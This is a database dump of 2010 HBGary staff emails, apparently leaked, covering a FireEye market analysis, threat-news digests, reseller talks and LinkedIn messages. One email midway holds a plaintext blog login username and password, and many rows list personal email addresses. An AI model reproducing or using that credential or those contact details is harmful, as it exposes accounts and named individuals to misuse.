the company was looking for a way to leverage\r\nconcern about botnet infections into a viable business model. As we noted at\r\nthe time, FireEye has been something of a zelig &#8211; taking on the\r\nappearance of whatever seems to be in the IT security zeitgeist at that time.\r\nFirst it was network access control, then anti-malware, then anti-botnet. Now\r\nit\'s \'advanced threats\' &#8211; a term capacious enough to include just about\r\nanything, but which FireEye says comprises spyware, bots, rootkits, Trojans and\r\n\'advanced persistent threats.\' \r\n\r\nThe company\'s core IP &#8211; a combination of behavioral\r\ndetection and virtualization to isolate and sandbox suspicious attachments and\r\nexecutables (PDF, Flash, JavaScript, etc.) But FireEye says it has spent the\r\nlast two years broadening its detection and blocking capabilities, as well as\r\nits reporting and administration. Behind that, FireEye points to hosted threat\r\nintelligence aggregated from the same public and private sources of malware\r\nthat other vendors are using: in-the-wild malware, phishing blacklists and so\r\non. It also notes fuller threat intelligence aggregated from its own MAX\r\nIntelligence Network, comprising its installed base of between 90 and 100\r\ncustomers, about two-thirds of which participate in the data-sharing program. \r\n\r\nThe MPS appliance is the latest addition to the company\'s\r\nofferings: 1U to 2U devices that provide between 50Mbps and 1Gbps of inbound\r\nand outbound threat monitoring. FireEye says the appliances are designed to\r\nsupplement what it (and most others) see as the diminishing value of existing\r\nperimeter protections such as network firewall, secure Web gateways and even\r\nnetwork-based DLP, which FireEye notes is typically focused more on inadvertent\r\ndata loss through user error or mal intent, rather than malware-enabled data\r\nexfiltration. The appliances can be deployed passively or inline to do blocking\r\nof inbound and outbound communications. \r\n\r\nFireEye is positioning a kind of \'helper\' device to secure\r\nWeb gateway, network IPS, firewalls and other more standard perimeter\r\nprotections &#8211; providing additional visibility into inbound and outbound\r\ncommunications from Trojans, bots and malicious downloaders that are the tools\r\nof advanced persistent adversaries. As those separate functions migrate to\r\nintegrated application layer firewalls from vendors such as Palo Alto\r\nNetworks, Cisco, Juniper Networks and Check Point Software\r\nTechnologies, the MPS device will be positioned as companions to those\r\ndevices. While we agree that the future of network protection lies with\r\napplication monitoring and security by layer 7-aware security infrastructure,\r\npositioning your new box as a next-generation firewall helper now is putting\r\nthe cart before the horse. Pricing for the MPS appliances starts at $24,950. \r\n\r\nCompetition\r\n\r\nAs FireEye reorients itself once more, from botnet detection\r\nto advanced threat protection, the stable of competitors it faces also\r\nrepopulates. In its previous incarnation, FireEye was paired with close\r\ncompetitor Damballa, as well as startups like Pramana. All do\r\nvariations on the same thing: using traffic inspection and behavioral analysis\r\nto sort out human versus bot activity. Most anti-malware incumbents claim some\r\ndegree of botnet and advanced threat detection, including Symantec and McAfee.\r\nTrend Micro and Commtouch both maintain more direct anti-botnet\r\ncapabilities, although Commtouch OEMs its product to other security vendors. \r\n\r\nKaspersky Lab messages around botnet protection as\r\nwell. However, anecdotal evidence suggests that established security vendors\r\nare, indeed, falling down when it comes to advanced threat detection and\r\nblocking. Adding to the industry confusion is what we\'ve\r\ntermed \'information asymmetry\': common industry measures of the efficacy of\r\nanti-malware suites such as ICSA Labs Certification don\'t measure the ability\r\nof detection suites to spot Trojans, spyware, rootkits and other\r\nnon-replicating malware. \r\n\r\nThat has created an opportunity for more specialized firms\r\nthat can aggregate threat intelligence, both automated and human, to provide\r\nadditional layers of protection. Though we haven\'t spoken with them yet,\r\nNeuralIQ is offering an appliance that does advanced threat detection.\r\nCyber-intelligence players like BrightCloud monitor emerging threats and\r\nattacks, botnets, targeted attacks and the like. QinetiQ (Cyveillance),\r\nRSA (Cyota) and MarkMonitor identify bot activity as well\r\nas phishing, fraud, and brand and product piracy. Mandiant and smaller\r\nboutique firms like Team Cymru and Cassandra Security play in the\r\nadvanced persistent threat detection and removal space as well. \r\n\r\nSearch Criteria\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14798,'aaron_hbgary_com/14798.html'),(6338,'2010-05-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004535.M833338P14101Q1193.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Fri)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Friday, May 14, 2010 3:45 PM\r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\n\r\nToday\'s articles:\r\n\r\n1.      Stolen laptop exposes personal data on 207,000 Army reservists\r\n\r\n2.      European officials chastise Facebook privacy settings\r\n\r\n3.      PCI Security Council updates requirements for payment card\r\ndevices \r\n\r\n4.      \'Tamper evident\' CPU warns of malicious backdoors\r\n\r\n5.      Facebook attracts more phishing attacks than Google and IRS\r\n\r\n6.      Telecom DoS hides cyber crime\r\n\r\n7.      Pentagon says military response to cyber attack possible\r\n\r\n8.      End of Support for XP SP2 is End of an Era\r\n\r\n9.      DoD fixing its patchwork quilt of cybersecurity\r\n\r\n',16119,'aaron_hbgary_com/16119.html'),(6339,'2010-05-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004536.M120245P14101Q1194.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Senate Confirms Military Cybersecurity Chief','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you know him?&nbsp; Can you get to him?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Tuesday, May 11, 2010 12:15 PM\r\nTo: Aaron Barr; penny@hbgary.com; greg@hbgary.com\r\nSubject: Senate Confirms Military Cybersecurity Chief\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  FYI -- Keith Alexander confirmed; interesting&nbsp;small\r\n  mention&nbsp;in article about CyberCommand\'s possible use of offensive cyber\r\n  weapons.&nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  http://www.informationweek.com/news/government/security/showArticle.jhtml?articleID=224701513&amp;cid=RSSfeed_IWK_Security\r\n  \r\n  \r\n  &quot;While Alexander focused more on cyber-defense, he\r\n  did say in written answers to Senators\' questions that &quot;under the right\r\n  circumstances,&quot; Cyber Command would have the authority to use offensive\r\n  cyber weapons against military command and control networks, weapons, power\r\n  grids, transportation-related networks, national telecommunications networks,\r\n  and even enemies\' financial institutions. &quot;\r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',323,'aaron_hbgary_com/323.html'),(6340,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004536.M356163P14101Q1195.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Senate Confirms Military Cybersecurity Chief','I don&#39;t know him and don&#39;t think I can get to him.  He&#39;s to senior though.  He doesn&#39;t deal in product purchase decisions.  He is also the director at NSA.  He is &quot;the man&quot;.\r\nSent from my iPadOn May 14, 2010, at 8:05 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nDo you know him?  Can you get to him?\r\n\r\n \r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Tuesday, May 11, 2010 12:15 PM\r\nTo: Aaron Barr; penny@hbgary.com; greg@hbgary.com\r\nSubject: Senate Confirms Military Cybersecurity Chief\r\n\r\n\r\n\r\n \r\n\r\n\r\n \r\n  \r\n  \r\n  FYI -- Keith Alexander confirmed; interesting small\r\n  mention in article about CyberCommand&#39;s possible use of offensive cyber\r\n  weapons. \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  http://www.informationweek.com/news/government/security/showArticle.jhtml?articleID=224701513&amp;cid=RSSfeed_IWK_Security\r\n\r\n  \r\n  \r\n  &quot;While Alexander focused more on cyber-defense, he\r\n  did say in written answers to Senators&#39; questions that &quot;under the right\r\n  circumstances,&quot; Cyber Command would have the authority to use offensive\r\n  cyber weapons against military command and control networks, weapons, power\r\n  grids, transportation-related networks, national telecommunications networks,\r\n  and even enemies&#39; financial institutions. &quot;\r\n  \r\n  \r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4701,'aaron_hbgary_com/4701.html'),(6341,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004536.M705182P14101Q1196.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','SecDev','Penny,\r\n\r\nI got off the phone with SecDev a little while ago.  The want to be a reseller for our products and services.  This weekend Ted and I are going to put together our \"service offerings\" and provide a reseller agreement for services.  How do you want to handle the product resale?  They said they have some near term engagements in the US they would like to pitch us on.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16729,'aaron_hbgary_com/16729.html'),(6342,'2010-05-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004536.M977003P14101Q1197.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SecDev','Well probably makes most sense for them to sign with us, then we can give\r\nyou a finders fee for sales from them. That way we have customers in our\r\nmaintenance database.  Services you can do yourself.  We have a consulting\r\nagreement between the two companies(HBGary and Fed) and a reseller agreement\r\n.  So you (FED) can sell product directly to end users.  I sent Ted an\r\noutline for services as well as the report we do.  We have a lot of process\r\nin place since we first started talking and with Mike Spohn coming on board,\r\nwe\'ll have tons more.  He\'s done over 100 IR engagements.  We want to train\r\nyou guys on the process (we used this at BH, Q and soon DuPont)  Then you\r\nguys can perform it.  I know Ted set up the server so he\'ll know how to do\r\nthat and I have the CLiP pricing getting finalized  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 14, 2010 5:12 PM\r\nTo: Penny Leavy\r\nCc: Maria Lucas; Ted Vera\r\nSubject: SecDev\r\n\r\nPenny,\r\n\r\nI got off the phone with SecDev a little while ago.  The want to be a\r\nreseller for our products and services.  This weekend Ted and I are going to\r\nput together our \"service offerings\" and provide a reseller agreement for\r\nservices.  How do you want to handle the product resale?  They said they\r\nhave some near term engagements in the US they would like to pitch us on.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',12777,'aaron_hbgary_com/12777.html'),(6343,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004537.M193429P14101Q1198.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: SecDev','This sound ok to you?Begin forwarded message:From: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date: May 14, 2010 8:26:21 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: SecDevWell probably makes most sense for them to sign with us, then we can giveyou a finders fee for sales from them. That way we have customers in ourmaintenance database. &nbsp;Services you can do yourself. &nbsp;We have a consultingagreement between the two companies(HBGary and Fed) and a reseller agreement. &nbsp;So you (FED) can sell product directly to end users. &nbsp;I sent Ted anoutline for services as well as the report we do. &nbsp;We have a lot of processin place since we first started talking and with Mike Spohn coming on board,we\'ll have tons more. &nbsp;He\'s done over 100 IR engagements. &nbsp;We want to trainyou guys on the process (we used this at BH, Q and soon DuPont) &nbsp;Then youguys can perform it. &nbsp;I know Ted set up the server so he\'ll know how to dothat and I have the CLiP pricing getting finalized &nbsp;-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, May 14, 2010 5:12 PMTo: Penny LeavyCc: Maria Lucas; Ted VeraSubject: SecDevPenny,I got off the phone with SecDev a little while ago. &nbsp;The want to be areseller for our products and services. &nbsp;This weekend Ted and I are going toput together our \"service offerings\" and provide a reseller agreement forservices. &nbsp;How do you want to handle the product resale? &nbsp;They said theyhave some near term engagements in the US they would like to pitch us on.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4530,'aaron_hbgary_com/4530.html'),(6344,'2010-05-15','maria@hbgary.com','/aaron@hbgary.com/new/1297004537.M467968P14101Q1199.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev','We have a VAR agreement. \r\nSent from my Verizon Wireless BlackBerry\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr \r\nDate: Fri, 14 May 2010 20:11:49 \r\nTo: Penny Leavy\r\nCc: Maria Lucas; Ted Vera\r\nSubject: SecDev\r\n\r\nPenny,\r\n\r\nI got off the phone with SecDev a little while ago.  The want to be a reseller for our products and services.  This weekend Ted and I are going to put together our \"service offerings\" and provide a reseller agreement for services.  How do you want to handle the product resale?  They said they have some near term engagements in the US they would like to pitch us on.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15138,'aaron_hbgary_com/15138.html'),(6345,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004539.M189271P14101Q1200.eml','\"Ted Vera\" <ted@hbgary.com>','CSC Paperwork','Would you mind filling these out.  I am not sure some of the answers for the questions.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14817,'aaron_hbgary_com/14817.html'),(6346,'2010-05-15','\"Blogmaster\" <insight@damballa.com>','/aaron@hbgary.com/new/1297004539.M541868P14101Q1201.eml','aaron@hbgary.com','[The Day Before Zero] Your username and password','Username: HBGary Fed\r\nPassword: IC9mQzSBVi$8\r\nhttp://blog.damballa.com/wp-login.php\r\n\r\n',13703,'aaron_hbgary_com/13703.html'),(6347,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004539.M743829P14101Q1202.eml','\"Greg Hoglund\" <greg@hbgary.com>','Link to a post I made on Damballas page','http://blog.damballa.com/?p=711&cpage=1#comment-483\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7917,'aaron_hbgary_com/7917.html'),(6348,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004539.M945363P14101Q1203.eml','\"Greg Hoglund\" <greg@hbgary.com>','C&C','If you look at Damballas home page (indicative of all the other network/perimeter solutions).  They talk about stopping the C&C thus stopping the threat.  It doesn\'t, its stops only the threats that use IP through the perimeter.  You have to talk about this in your \"state of the art\" talk.  There are many ways to communicate with malware inside an enterprise outside of the perimeter.  If we do a good job of protecting the perimeter that is where they will migrate.  Likewise, pervasive encryption brought on by cloud, converged media brought on by desire for rich content and faster bandwidth, makes doing anything on the wire in the future very difficult.  The battle will be fought on either of the endpoints.\r\n\r\nWhat can they use?  Any of the wireless comms, RF, mobile devices, etc.\r\n\r\nThat said, the perimeter guys are going to win the day for the next year or 2.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5510,'aaron_hbgary_com/5510.html'),(6349,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004540.M160865P14101Q1204.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: NMCIWG: Daily Computer Threat News (Wed)','Sent from my iPad\r\n\r\nOn May 12, 2010, at 3:00 PM, Penny Leavy-Hoglund  wrote:\r\n\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil]\r\n> Sent: Wednesday, May 12, 2010 11:52 AM\r\n> Subject: FW: NMCIWG: Daily Computer Threat News (Wed)\r\n>\r\n>\r\n>\r\n>\r\n> Today\'s articles:\r\n>\r\n> *       Police apprehend Romanian phishing gang\r\n>\r\n> *       New attack tactic sidesteps Windows security software\r\n>\r\n> *       Windows 7 \'compatibility checker\' is a Trojan\r\n>\r\n> *       Gumblar Trojan vanishes suddenly yet again\r\n>\r\n> *       FCC to establish cyber certification program\r\n>\r\n> *       Microsoft closes critical holes in Outlook Express and Windows\r\n> Mail\r\n>\r\n> *       Adobe patches 18 holes in Shockwave Player\r\n>\r\n> *       Month of PHP Security\r\n>\r\n> *       Emails from Facebook contained IP addresses\r\n>\r\n> *       Zero-day exploit for Safari\r\n>\r\n> *       German court orders wireless passwords for all\r\n>\r\n> *       New malware attack laughs at your antivirus software\r\n>\r\n> \r\n',4387,'aaron_hbgary_com/4387.html'),(6350,'2010-05-15','\"Dr. Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297004540.M425283P14101Q1205.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Dr. Paul Nemirovsky has indicated you are a Colleague at Northrop Grumman:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Dr. Paul Nemirovsky\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Dr. Paul Nemirovsky\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n  WHY MIGHT CONNECTING WITH DR. PAUL NEMIROVSKY BE A GOOD IDEA?\r\n  Have a question? Dr. Paul Nemirovsky\'s network will probably have an answer You can use LinkedIn Answers to distribute your professional questions to Dr. Paul Nemirovsky and your extended network. You can get high-quality answers from experienced professionals.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',6836,'aaron_hbgary_com/6836.html'),(6351,'2010-05-15','\"Gary Elliott, M.S., PMP, NSA 4011 (LinkedIn Messages)\" <messages-noreply@linkedin.com>','/aaron@hbgary.com/new/1297004540.M767210P14101Q1206.eml','\"Aaron Barr\" <aaron@hbgary.com>','Invitation to Connect on LinkedIN','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nGary Elliott, M.S., PMP, NSA 4011 has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/14/2010\r\n\r\n\r\n  Subject:\r\n  Invitation to Connect on LinkedIN\r\n\r\n\r\n\r\n  Hi,\r\n\r\n\r\n\r\nI am the manager of the NSA Information Assurance Group and the Chief Information Assurance Officers (CIAO) Group on LinkedIN. See: http://www.linkedin.com/groups?about=&amp;gid=163637&amp;trk=anet_ug_grppro\r\n\r\n\r\n\r\n\r\n\r\nIf you would send me an invitation, we could connect on LinkedIN.\r\n\r\n\r\n\r\nI have over 7950 connections.\r\n\r\n\r\n\r\nMy email address is: globusproject@gmail.com\r\n\r\n\r\n\r\nMy LinkedIN profile is at www.linkedIN.com/in/globusproject\r\n\r\n\r\n\r\nPlease send me an invitation.\r\n\r\n\r\n\r\nThis would allow us to better communicate in the future.\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\nGary S. Elliott, M.S., PMP, NSA 4011\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',11194,'aaron_hbgary_com/11194.html'),(6352,'2010-05-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004541.M407058P14101Q1208.eml','\"Aaron Barr\" <aaron@hbgary.com>','insurance','I\'m getting quotes for general business liability and workmans comp.\r\nFrom what I\'ve read I expect it to be reasonable:  about $1000/yr for\r\nliability and about $600 for workmans comp.\r\n\r\ntv\r\n',8168,'aaron_hbgary_com/8168.html'),(6353,'2010-05-15','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297004541.M670677P14101Q1209.eml','\"Aaron Barr\" <aaron@hbgary.com>','Gary Elliott, M.S., PMP, NSA 4011 has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Gary are now connected.\r\n\r\n \r\n   \r\n   View Gary\'s profile to:\r\n     \r\n       Download Gary\'s current contact information\r\n       Write a recommendation for Gary\r\n       Find opportunities through Gary\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/3838694/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',1337,'aaron_hbgary_com/1337.html'),(6354,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004541.M76025P14101Q1207.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Wow','So i posted what i thought was a good piece on threats on the damballa\r\npage and they removed it... Bummer.\r\n\r\nSent from my iPad\r\n',16550,'aaron_hbgary_com/16550.html'),(6355,'2010-05-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004541.M943365P14101Q1210.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Wow','Do you have it?  Can I see it?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 14, 2010 8:10 PM\r\nTo: Greg Hoglund; Penny Leavy; Ted Vera\r\nSubject: Wow\r\n\r\nSo i posted what i thought was a good piece on threats on the damballa\r\npage and they removed it... Bummer.\r\n\r\nSent from my iPad\r\n\r\n',10312,'aaron_hbgary_com/10312.html'),(6356,'2010-05-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004542.M220335P14101Q1211.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','I guess You are teh one to Follow G-Man','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://blog.damballa.com/?p=711\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',119,'aaron_hbgary_com/119.html'),(6357,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004542.M452119P14101Q1212.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Wow','It\'s on my laptop.  I will forward later.\r\n\r\nSent from my iPad\r\n\r\nOn May 15, 2010, at 9:09 AM, Penny Leavy-Hoglund  wrote:\r\n\r\n> Do you have it?  Can I see it?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 14, 2010 8:10 PM\r\n> To: Greg Hoglund; Penny Leavy; Ted Vera\r\n> Subject: Wow\r\n>\r\n> So i posted what i thought was a good piece on threats on the damballa\r\n> page and they removed it... Bummer.\r\n>\r\n> Sent from my iPad\r\n>\r\n',13121,'aaron_hbgary_com/13121.html'),(6358,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004542.M671464P14101Q1213.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: I guess You are teh one to Follow G-Man','U see it?Sent from my iPadOn May 15, 2010, at 9:13 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nhttp://blog.damballa.com/?p=711\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2343,'aaron_hbgary_com/2343.html'),(6359,'2010-05-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004542.M892685P14101Q1214.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I guess You are teh one to Follow G-Man','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo not your posting, but they posted on APT just like Greg did\r\nbut after,&nbsp; such followers\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, May 15, 2010 7:18 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: I guess You are teh one to Follow G-Man\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nU see it?\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 15, 2010, at 9:13 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://blog.damballa.com/?p=711\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15212,'aaron_hbgary_com/15212.html'),(6360,'2010-05-15','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004543.M113703P14101Q1215.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Project B','Bill said the customer is concerned about cost for the iPod port. He  \r\nasked us to reprice without the command post, and trim any fat that we  \r\ncan. We need to update pricing and note exceptions in the requirements  \r\ndoc.\r\n\r\n\r\n',10392,'aaron_hbgary_com/10392.html'),(6361,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004543.M462173P14101Q1216.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: I guess You are teh one to Follow G-Man','Hmmm I didn&#39;t notice it was after.  Funny.  Why would you have an interactive blog and rove commets.  Very bizarre.From my iPhoneOn May 15, 2010, at 1:57 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNo not your posting, but they posted on APT just like Greg did\r\nbut after,  such followers\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: 